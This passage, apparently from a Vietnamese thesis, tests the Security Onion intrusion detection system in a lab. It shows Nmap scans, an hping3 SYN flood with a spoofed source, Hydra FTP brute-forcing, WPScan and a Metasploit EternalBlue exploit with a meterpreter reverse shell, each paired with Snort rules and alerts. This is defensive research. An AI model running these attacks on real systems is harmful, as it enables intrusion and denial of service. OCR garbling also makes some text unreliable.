NIDS .
All Sensors - Log Type Sensors - Count Devices - Count
Zeek Hunting
Connections Log Type(s) Count
DCE/RPC GBI 56,073
DHCP
DNP3 bro_weird 31,718
DNS ossec 710
Eil
lles CRON 4845
ETe
HTTP snort 4,606
intel bro_dns 3723
IRC
o— bro_http 277
Modbus su 436

Hinh 3.15:Giao dién Kibana.

3.3. M@t sé kich ban thir nghiém, két qua va danh gia

3.3.1. M4t sé kich ban thé nghigm phat hign tén cong, xam nhdp

Céc kich ban thir nghiém phat hién tan cong, xdm nhap vao hé thong dugc xay
dung trén nén Oracle VM VirtualBox bao gdom may cha Security Onion phién ban
16.04, may tinh client Windows 10, va may tinh tan céng Kali Linux.

Hé thong s& sir dung mang ao Virtualbox Host only network c6 dai IP:
192.168.56.0/24. Ngoai ra, may chu Sercurity Onion sé st dung thém mét duong

NAT két néi vai Internet. Cac kich ban tan cong lan luot 12 Tan cong do cong, Tan
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cong Dos, T4an cdng giao thic FTP, Tan cdng quét 16 hong Web Server, Khai thac
Eternalblue Windows. So dd s& duoc thiét 1ap nhu hinh 3.16:

Attacking: . Host: Web Server
Kali box Windows Box IP:192.168.56.110
IP:192.168.56.103 IP:192.168.56.112 ST
- : - =
8) —
A —
d' FEFERE ¢

Internet

=

Security Onion
IP:192.168.56.106

Hinh 3.16:So" d6 thir nghiém phdt hién tdn cong xam nhdp.

3.3.1.1. Tdn cong do cong

Kich ban nay ké xam nhap s& st dung may tinh Kali Linux tién hanh do tim céc
cong dang duoc mé trén may tinh Windows. Di twong s& st dung Nmap do tim trén
dia chi 192.168.56.102 cua may tinh Windows va nhan thiy cac céng 135/TCP cua
dich vu msrpc, cong 138/TCP cua dich vu netbios-ssn va cong 445/TCP cua dich vu
microsoft-ds dang mé.

Két qua thu duoc nhu hinh 3.17:
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L—(root ++ kali)-[/home/kali]

# -sT 192.168.56.112

Starting Nmap 7.91 ( hitps://nmap.org -08 21:49 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --s
ystem-dns or specify valid servers with --dns-servers

Nmap scan report for 192.168.56.112

Hostis up (0.00028s latency).

Not shown: 990 closed ports

PORT STATESERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

49152/tcp open unknown

49153 /tcp open unknown

49154 /tcp open unknown

49155/tcp open unknown

49156/tcp open unknown

49157 [tcp open unknown

MAC Address: 08:00:27:3E:D8:E1 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.68 seconds

Hinh 3.17:Két qud do cong bang Nmap.
Hé théng Security Onion s& sir dung cac thu vién luat cia ET Open duoc cap nhat
lién tuc tai https://rules.emergingthreats.net/open/. Bi véi truong hop tan cong do
cong hé thdng s& &p dung luat sau:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Potential VNC

Scan "; flags:S,12; threshold: type both, track by_src, count 5, seconds 60;
reference:url,doc.emergingthreats.net/2002911; classtype:attempted-recon;

sid:2002911; rev:5; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

Khi phat hién d6i tuong do cong, thanh phan NIDS cu thé 1a Snort s& dua ra canh
bao:"ET SCAN Potential VNC Scan" ddi véi céc lénh do cong 6 chira co S (flags:S) va

vé6i s6 lugng tir 5 goi tin tré 1én trong vong 60 gidy duoc trao d6i véi may tinh

Windows.
Alert Source IP Address Destination IP Address Count
ET SCAN Potential VNC Scan 5800-5820 192.168.56.103 192.168.56.112 2
ET SCAN Potential VNC Scan 5300-5920 192.168,56.103 192.168.56.112 2

Hinh 3.18: Cdanh bdo do quét cong.


https://rules.emergingthreats.net/open/
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3.3.1.2.  Tancong Dos
Kich ban nay ké xam nhap sé sir dung Hping3 tir may tinh Kali Linux thyuc hién
tan cong Dos dén may tinh Windows. Ngoai ra d6i twong s& gia mao dia chi tin cong

la 192.168.56.104. Trang thai tan cong dugc minh hoa trong hinh 3.19:

[—;;root « kali)-[/home/kali]

—# -5 192.168.56.112 -a 192.168.56.104 -p 22 --flood
HPING 192.168.56.112 (eth0 192.168.56.112): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

AC

---192.168.56.112 hping statistic ---

806497 packets transmitted, O packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

Hinh 3.19: Trang thdi tdn céng Dos bang Hping3

Déi voi phuong thire tin ¢éng ndy, Snort s& sir dung luat sau:

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"ET SCAN Potential Scan
OUTBOUND"; flags:S,12; threshold: type threshold, track by_src, count 1000,
seconds 120; reference:url,en.wikipedia.org/wiki/Brute_force_attack;
reference:url,doc.emergingthreats.net/2003068; classtype:attempted-recon;

sid:2003068; rev:6; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

Khi phat hién dbi twong giri mot luong 16n yéu cau dén may tinh Windows, Snort
s& dua ra canh bao:"ET SCAN Potential Scan OUTBOUND" d6i véi cac 1énh do cbng co
chta co S (flags:S) va véi s6 lugng tir 1000 gai tin try 1én trong vong 60 gidy dugc
trao doi v&i may tinh Windows.

Alert Source IP Address Destination IP Address Count

ET SCAN Potential SSH Scan OUTBOUND 192.168.56.104 192.168.56.112 1,794

ET SCAN Potential SSH Scan 192.168.56.104 192.168.56.112

Hinh 3.20:Cénh bdo tin cong Dos
3.3.1.3.  Tan cong giao thirc FTP
Kich ban nay ké xam nhap s& tién hanh quét cac thong tin, mat khau diang nhap

cta ngudi dung tai may cha FTP trén may tinh Windows.
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Pau tién ta c6 thu muc chia sé bang giao thizc FTP trén may Windows nhu hinh

Page Shared folders Users
----- Gener e
e Directories Aliases Read i
. Speed Limits H C:\FTP share Write
.. IP Filter Delete
Append
Directories
Create
Delete
List
< » + Subdirs [ Add | | Remove

Hinh 3.21:Tao thu muc chia sé qua giao thirc FTP.
Déi tuong sé tao céac file bao gom user va mat khau dé xam nhap théng qua giao
thac FTP:

L—(root « kall)-[/home/kali/Desktop/ftp]
# cat user.txt

admin

administrator

root

l—(root « kali)-[/home/kali/Desktop/ftp]

“al pass.ixt
123123
123
123456

Hinh 3.22:Tqo cdc tép chira thong tin dang nhdp FTP

Déi twong sé tan cdng giao thizc FTP bang Hydra tai may tinh Kali Linux

[_—(root =+ kali}-[/home/kali/Desktop/ftp]
# hydra -L user.ixt -P pass.ixt ftp://192.168.56.102
Hydra v8.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secr
et service organizations, or for illegal purposes (this is non-binding, these ***ignore laws
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) ~-05-08 22:14:44
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (1:3/p:3), ~1 try per task
[DATA] attacking ftp://192.168.56.102:21/
[21][Ftp] host: 5¢ login: a password: 1231272
1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) [-05-08 22:14:44

Hinh 3.23:Minh hoa tin céng giao thite FTP bang Hydra.



57

Déi voi trudng hop ndy, Snort s& sir dung luat sau:
alert tcp SHOME_NET 21 -> $EXTERNAL_NET any (msg:"ET SCAN Potential FTP

Brute-Force attempt response"; flow:from_server,established; dsize:<100;
content:"530 "; depth:4; pcre:"/530\s+(Login|User|Failed|Not)/smi"; threshold:
type threshold, track by_dst, count 5, seconds 300;
reference:url,doc.emergingthreats.net/2002383; classtype:unsuccessful-user;

sid:2002383; rev:12; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

Khi phat hién d6i twong gui cac yéu cau dang nhap FTP dén may tinh Windows
nhiéu lan trong mot thoi gian ngan, Snort s& dua ra canh bao:"ET SCAN Potential FTP

Brute-Force attempt response” dé canh béo.

Alert Source IP Address Destination IP Address Count

ET SCAN Potential FTP-Brute-Force attempt response 192.168.56.102 192.168.56.103 1

Hinh 3.24:Cdnh bdo tdn céng do thong tin FTP
3.3.1.4.  Tdn cong quét 16 hong Web Server
Kich ban nay ké tin cong s& quét dé tim céac 15 hdng nham xam nhap hé théng
Webserver tir may tinh Kali Linux. Pau tién di twong s& sir dung cdng cu Nmap dé

do théng tin dia chi cua may chia Web nhu sau:

—{root+ kali)-[/home/kali]
= -sV -sC 192.168.56.110
Starting Nmap 7.91 ( https://nmap.org -08 22:19 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --s
ystem-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.110
Hostis up (0.00011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh  OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
| 256 3¢:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_ 256 41:89:9e:85:3e:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| _http-server-header: Apache/2.4.25 (Debian)
| _http-title: Did not follow redirect to http://wordy/
MAC Address: 08:00:27:72:79:D3 (Oracle VirtualBox virtual NIC)

Hinh 3.25: Do thong tin may chu WEB
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Sau khi biét duoc thong tin cua trang web, ddi tuong tiép tuc sir dung cong cu

Wpscan dé tim céc 16 hong cia may chiu Web nhu sau:

[—f,r(m( « kali)-[/]
—3 v --url http://wordy - u,vp --plugins-detection aggressive 1
W, M
ML I e e aieee®
WY N Xl =] 2 )
VAT w2 ) H=HT T
'l =t () TS ) TESt | SRR B f =

WordPress Security Scanner by the WPScan Team
Version 3.8.14
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan _Ir, @firefart

URL: http://wordy/ [192.168.56.110]
Started: Sat May 8 22:36:44 2021

Hinh 3.26:Khai théc 16 hong mdy chit WEB.

Déi vai kich ban ndy Security Onion s& sir dung luat sau:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET
WEB_SERVER Wordpress Login Bruteforcing Detected"; flow:to_server,established;
content:"/wp-login.php"; nocase; fast_pattern; http_uri; content:"POST";
http_method; content:"log|3d|"; http_client_body; content:"pwd|3d|";
http_client_body; threshold: type both, track by_src, count 5, seconds 60;
classtype:attempted-recon; sid:2014020; rev:3; metadata:affected_product
Wordpress, affected_product Wordpress_Plugins, attack_target Web_Server,
created_at 2011_12_12, deployment Datacenter, signature_severity Major, tag
Wordpress, updated_at 2020_04_22;)

Khi phét hién d6i tuong quét cac thong tin trang Web thi Security Onion s& dua
ra canh bao "ET WEB_SERVER Wordpress Login Bruteforcing Detected".
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Alert Source IP Address Destination IP Address Count
ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine) 192.168.56.103 192.168.56.110 57

ET POLICY Http Client Body contains pwd= in cleartext 192.168.56.103 192.168.56,110 20

ET WEB_SERVER WPScan User Agent 192.168.56.103 192.168.56.110 5

ET WEB_SERVER Possible SQL Injection Attempt INSERT INTO 192.168.56,103 192.168.56,110 4

ET WEB_SERVER Wordpress Login Bruteforcing Detected 192.168.56.103 192.168.56.110 4

Hinh 3.27:Cdnh bdo tin céng Webserver
3.3.1.5.  Khai théc 16 hong Eternalblue Windows

Kich ban nay ké xam nhap s& quét va khai thac Eternalblue, 156 hong ms17-010

cua Windows. L& hong nay chinh la nguyén nhan khién WannaCry c6 thé lay lan

manh m&. Bdi turong s& sir dung cng cu Metasploit trén mdy tinh Linux dé khai thac

15 hdng nay.

Dau tién ké tin cong s& ma Metaspolit trén Linux bang quyén root va sir dung

lénh use exploit/windows/smb/ms17_010_eternalblue dé chon ma khai théac

Eternalblue ms17-010 nhu hinh 3.28:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit{windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description

RHOSTS yes The target host(s), range CIDR identifier, or hos
ts file with syntax 'file:<path>'
RPORT 445 yes Thetargetport(TCP)

SMBDomain . no (Optional) The Windows domain to use for authenti
cation

SMBPass no (Optional) The password for the specified usernam
e

SMBUser no (Optional) The username to authenticate as

VERIFY_ARCH true yes Checkif remote architecture matches exploit Targ
et.
VERIFY_TARGET true yes Checkif remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

Hinh 3.28:Lwa chon ma khai thac.
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Tiép tuc set cac tuy chon: RHOST, PAYLOAD bang céc cau lIénh:
- set RHOST <IP may bi khai thac>: Lya chon muc tiéu khai thac
- set PAYLOAD windows/x64/meterpreter/reverse_tcp: Lua chon giao thac
dé khai thac 1a TCP.

msf6 exploit{windows/smb/ms17_010_eternalblue) > set rhosts 192.168.56.112

rhosts =>192.168.56.112

msf6 exploit{windows/smb/ms17_010_eternalblue) > set lhost 192.168.56.103

lhost =>192.168.56.103

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

Hinh 3.29:Cai dat muc tiéu va giao thikc.

Tién hanh xam nhap 15 hong nay.

msf6 exploit(windows/smb/msl17_010_eternalblue) > check

[*]1192.168.56.112:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

[+1192.168.56.112:445 - Hostis likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service
Pack1x64 (64-bit)

[*]1192.168.56.112:445 - Scanned 1of1 hosts (100% complete)

+1192.168.56.112:445 - The targetis vulnerable,

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.56.103:4444
[*]1192.168.56.112:445 - Executing automatic check (disable AutoCheck to override)
[*1192.168.56.112:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

192.168.56.112:445 - Hostis likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service
Pack1x64 (64-bit)

Hinh 3.30:Xdm nhdp va khai thdc 16 hong ms17-010 Windows.

Sau khi xdAm nhap duoc 16 hong, ta thir khai thac 16 hong bang cach chuyén dén thu cung

hé théng Windows mot birc anh.

meterpreter > upload home/kali/Desktop/hacker.jpg

[*] uploading : /home/kali/Desktop/hacker.jpg -> hacker.jpg

[*] Uploaded 65.46 KiB of 65.46 KiB (100.0%): /home/kali/Desktop/hacker.jpg -> hacker.jpg
[*] uploaded :/home/kali/Desktop/hacker.jpg -> hacker.jpg

meterpreter > pwd
C:\Windows\system32

Déi vai kich ban nay Security Onion s& sir dung luat sau:

alert tcp any any -> $SHOME_NET any (msg:"ET XPLOIT Possible ETERNALBLUE
Probe MS17-010 (MSF style)"; flow:to_server,established; content:"|ff|SMB|25 00
000000 18 01 28|"; offset:4; depth:12; content:"|00 00 00 00 00 00 00 00 00 00[";
distance:2; within:10; content:"|23 00 00 00 07 00 5¢ 50 49 50 45 5¢c 00|";
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fast_pattern; isdataat:!1,relative; threshold: type limit, track by_src, count 1,
seconds 30; reference:url,github.com/rapid7/metasploit-
framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb;
classtype:trojan-activity; sid:2025649; rev:3; metadata:affected_product
Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint,
created_at 2018_07_11, deployment Internal, former_category EXPLOIT,
signature_severity Major, tag Metasploit, tag ETERNALBLUE, updated_at
2019_09_28;)

Ngoai canh bao tir Snort thi thanh phan phét hién xam nhap host OSSEC/Wazuh

tich hop trong Security Onion ciing str dung quy tic sau dé xac dinh tin cong thay

dbi tap tin trén may client.

<rule id="554" level="10" overwrite="yes"> <category>ossec</category>
<decoded_as>syscheck_new_entry</decoded_as> <description>File added to the

system.</description> <group>syscheck,</group>

Khi phat hién dbi tuong khai thac Eternalblue 16 hong ms17-010 biang céng cu
Metasploit thi Security Onion s€ dua ra canh bado “ET EXPLOIT Possible
ETERNALBLUE Probe MS17-010 (MSF style)” va “[OSSEC] File added to the system”

Source IP Destination IP Count
Alert Address Address
ET EXPLOIT ETERNALBLUE Probe Vulnerable System 192.168.56.112 192.168.56.103 2
Response MS17-010
[OSSEC] File added to the system 192.168.56103  192.168.56.112 2

Hinh 3.31: Cdanh bdo xam nhdp va khai théc 16 héng Eternalblue.
3.3.2. Céc két qud
Sau khi phét hién céc tinh hudéng xam nhap hé théng, Sercurity Onion sé& tong hop
logs va chuyén qua mot bo phan tich chung sau d6 xuat ra cac canh bao. Nguoi ding
s& sir dung giao dién Kibana hoic Squert dugc tich hop san trong goi cai dit Sercurity
Onion dé ¢ thé xem chi tiét, thong ké phan tich hay xuat ra bao céo. Giao dién chinh
cua thanh phan quan tri s& hién thi tong sé luong canh bao, biéu d6 phan bo theo thoi

gian va cac théng tin chinh cua canh béo.
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Sau cac cudc tan cong ¢ trén, Security Onion déu phat hién duoc tic thi va dua ra
canh béo realtime ngay trén giao dién quan tri. Trong ldc cac cudc tan cong dién ra,
Security Onion van hoat dong tét dé duy tri su 6n dinh cua hé théng mang. Tuy nhién,
khi tin cong ddng thoi nhiéu phuong thirc khac nhau cing mét Idc, hé thong thir
nghiém da str dung CPU & muc téi da 90~100%, cac gbi tin danh gia ciing phan hoi

két qua cham hon.

Total Number of Logs Total Log Count Over Time
77777 @ Count
105,218 °
) L‘L@(imes;t‘var;:p per 3:):‘n;‘irnules o
Hinh 3.32:Tong so luwong canh bdo va biéu do theo thoi gian.
Source IP Destination IP Count
Alert Address Address
ET SCAN Suspicious inbound to Oracle SQL port 1521 192.168.56:103  192.168.56:110 1
ET SCAN Suspicious inbound to PostgreSQL port 5432 192.168.56.103 192.168.56.112 2
ET SCAN Suspicious inbound to PostgreSQL port 5432 192.168.56103  192.168.56:110 1
GPL NETBIOS SMB IPC$ unicode share access 192.168.56.112 192.168.56111 2
GPL NETBIOS SMB IPC$ unicode share access 192.168.56:1 192.168.5611 1
GPL WEB_SERVER 403 Forbidden 192.168.56110 192.168.56.103 3
ET EXPLOIT ETERNALBLUE Probe Vulnerable System 192.168.56:112 192.168.56:103 2
Response MS17-010
ET EXPLOIT Possible ETERNALBLUE Probe MS17-010 192.168.56.103 192.168.56.112 2
(Generic Flags)
ET EXPLOIT Possible ETERNALBLUE Probe MS17-010 (MSF  192.168.56.103 192.168.56.112 2
style)
ET SCAN Potential SSH Scan 192.168.56.103 192.168.56.110 1
Export: Raw & Formatted &
« 1 238 4 »

Hinh 3.33:Théng tin chinh cia canh bao.
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Khi Iyra chon vao timg canh béo , ngudi cling c6 thé xem duoc chi tiét ddy du thong tin

cua cac canh bao nhu thoi gian, dia chi xam nhép, dia chi bi xam nhdp, phuong thuc xam

nhap, thoi gian, ... dé c6 thé phan tich cu thé va dua ra phuwong an xir Iy doi voi cac canh

bao .

Bl

Dtimestamp
@version
_id
t index
# _score
_type
alert
t category
t classification
@ destination_ip

destination_ips

# destination_port

May 9, 20827 © 83:23:88.714

-

BFkmT3kBIV3drHYJbAig
so-virtualbox:logstash-ids-2021.85.89

_doc
ET EXPLOIT Possible ETERNALBLUE Probe MS17-818 (MSF style)
exploit
A Network Trojan was detected
192.168.56.112
192.168.56.112

, 445

Hinh 3.34:Théng tin chi tiét ciia canh bdo.

3.3.3. Nhdn xét, danh gid.

Security Onion chinh 12 mét ban phdi mién phi hoan chinh tich hop cac cong cu

dé thu thap va phan tich di liéu hanh vi cac hoat dong trong hé thng mang theo thoi

gian thuc, qua d6 canh bao dén nguoi quan tri & c6 cac bién phap xu ly kip thoi. Bén

canh d6 viéc tich hop day da cng cu va hién thi toan bo phan tich tai mot trang quan

tri s& giup cho ngudi quan tri tiét kiém thoi gian va hién qua hon.

Security Onion thuc hién thu thap dix liéu tai cac diém xac dinh:

- X4c dinh cac diém yéu ton tai trong hé thong mang.

- X4c dinh cac nguy co c6 thé anh huong dén hé thong.

- Xac dinh nguén dir liéu can thiét va phan tich ngudn dit liéu thu thap duoc.

- Thiét 1ap trich xuat dir liéu TAP trén duong truyén dé thu thap dix liéu gai tin.

Sau khi thu thap di liéu, Security Onion tién hanh xu Iy dit liéu qua céc cong cu

duoc tich hop sén trong géi cai dit thdng qua cac quy tic duoc xay dung san. Cac dir

liu duoc phan tich bao gom:

Dua trén mang:




64

- Dir liéu goi tin day di.

- Dit liéu phién truy cap.

- Dit liéu thong ké bang thong.

- Dit liéu canh b4o NIDS dya vao luat c6 san va dau hiéu bat thuong.

Dua trén may client:

_ D lidu nhat ky OS.

- D liéu canh bao virus.

- Dir liéu canh bao HIDS.

- Dtr liéu nhat ky Firewall.

Tuy nhién, ngoai nhitng diém manh caa Security Onion con ton tai mot sé nhugc
diém nhu giao dién quan tri twong d6i phirc tap va viéc tly bién cac quy tic rat kho
khin, doi hoi nhiéu thoi gian va kién thizc hon vé hé thong. Ngoai ra, Security Onion
chua c6 kha ning back up dit liéu tu dong. Vi nhimg diém néu ¢ trén Security Onion
chi thich hop veéi cac hé thdng vira va nho ¢ ngudn kinh phi thap.

3.4. Két luan Chwong I11

Chuong nay tap trung vao viéc cai dit va trién khai hé thong Security Onion. Tai
chuong nay gigi thiéu chi tiét hon vé& yéu cau cau trdc, md hinh thiét 1ap co ban cho
hé thng Security Onion. Viéc tich hop cac thanh phan NIDS, HIDS, giao dién quan
tri cling duoc 1am rd tai chuong nay. Cac kich ban xdm nhap hé thng ciing dugc
chuén bi dé danh gia vé kha nang hoat dong caa hé thng phét hién xam nhap Security

Onion.
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KET LUAN

Luén vin dat dwgc cac sau:

- Muc dich cua dé tai huéng nghién ciu tng quan nhat vé xam nhap va phat hién
xam nhap hé thong thong tin trong mang LAN. Phan biét cac phuong thic tan cong
va céc giai phap bao mat tiéu biéu.

- Bén canh d6 luan van ciing tap trung chi tiét vao hé théng phét hién xam nhap
Security Onion tich hop thanh phan phat hién xdm nhap mang va host. Qua d6 cung
cap cho quan tri vién hé thong mot bo cong cu day du nham theo ddi, phat hién sém
va canh béo cac dau hiéu xam nhap vai chi phi hop Iy.

- Qua c4c nghién ciu ly thuyét, luan vin cling nén cac budc cai dit hé thong
Sercurity Onion trong mot md hinh mang LAN don gian. Cac kich ban tin cong ciing
duogc xay dung trong bai luan dé xem xét kha nang hoat dong va danh gia tinh kha thi
cua hé théng.

Hwéng phat trién caa luan vin:

- Xay dung céc tap quy tic cua hé théng tuong thich vai thdi quen hoat dong cua
ngudi ding trong mang LAN, loai bo nhitng canh bao khdng can thiét tranh lang phi
tai nguyén cua hé thong.

- Téi vu giao dién hién thi cia Kibana dé ngudi quan tri hé théng nhanh chéng

tiép can xir Iy canh béo va dé dang thong k&, tao cac bao cao dinh ky.
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